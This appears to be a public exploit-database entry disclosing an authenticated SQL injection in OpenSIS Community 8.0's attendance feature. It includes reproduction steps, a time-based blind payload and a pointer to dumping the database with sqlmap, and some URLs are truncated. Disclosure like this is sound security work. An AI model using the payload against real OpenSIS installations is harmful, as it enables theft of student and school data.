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## https://sploitus.com/exploit?id=PACKETSTORM:164022
# Exploit Title: OpenSIS Community 8.0 - 'cp_id_miss_attn' SQL Injection  
# Date: 09/01/2021  
# Exploit Author: Eric Salario  
# Vendor Homepage: http://www.os4ed.com/  
# Software Link: https://opensis.com/download  
# Version: 8.0  
# Tested on: Windows, Linux  
  
A SQL injection vulnerability exists in the Take Attendance functionality of OS4Ed's OpenSIS 8.0. allows an attacker to inject their own SQL query. The cp_id_miss_attn parameter from TakeAttendance.php is vulnerable to SQL injection. An attacker can make an authenticated HTTP request as a user with access to "Take Attendance" functionality to trigger this vulnerability.  
  
Steps to reproduce:  
  
1. Login as "Teacher" and navigate to "Attendance" then "Take Attendance". Capture the request on a web proxy such as BurpSuite  
  
Or just navigate to the URL:  
  
http://localhost/Ajax.php?modn...  
  
Vulnerable parameter: cp_id_miss_attn  
  
SQLi payload: r AND (SELECT 1670 FROM (SELECT(SLEEP(10)))VSpq)  
  
URL with the payload: http://localhost/Ajax.php?modn... AND (SELECT 1670 FROM (SELECT(SLEEP(10)))VSpq)  
&cpv_id_miss_attn=23&ajax=true  
  
2. The page should load depends on the sleep  
  
You can use manual queries to dump database information or use sqlmap.  
  
PoC: https://youtu.be/GGHiPvdPRas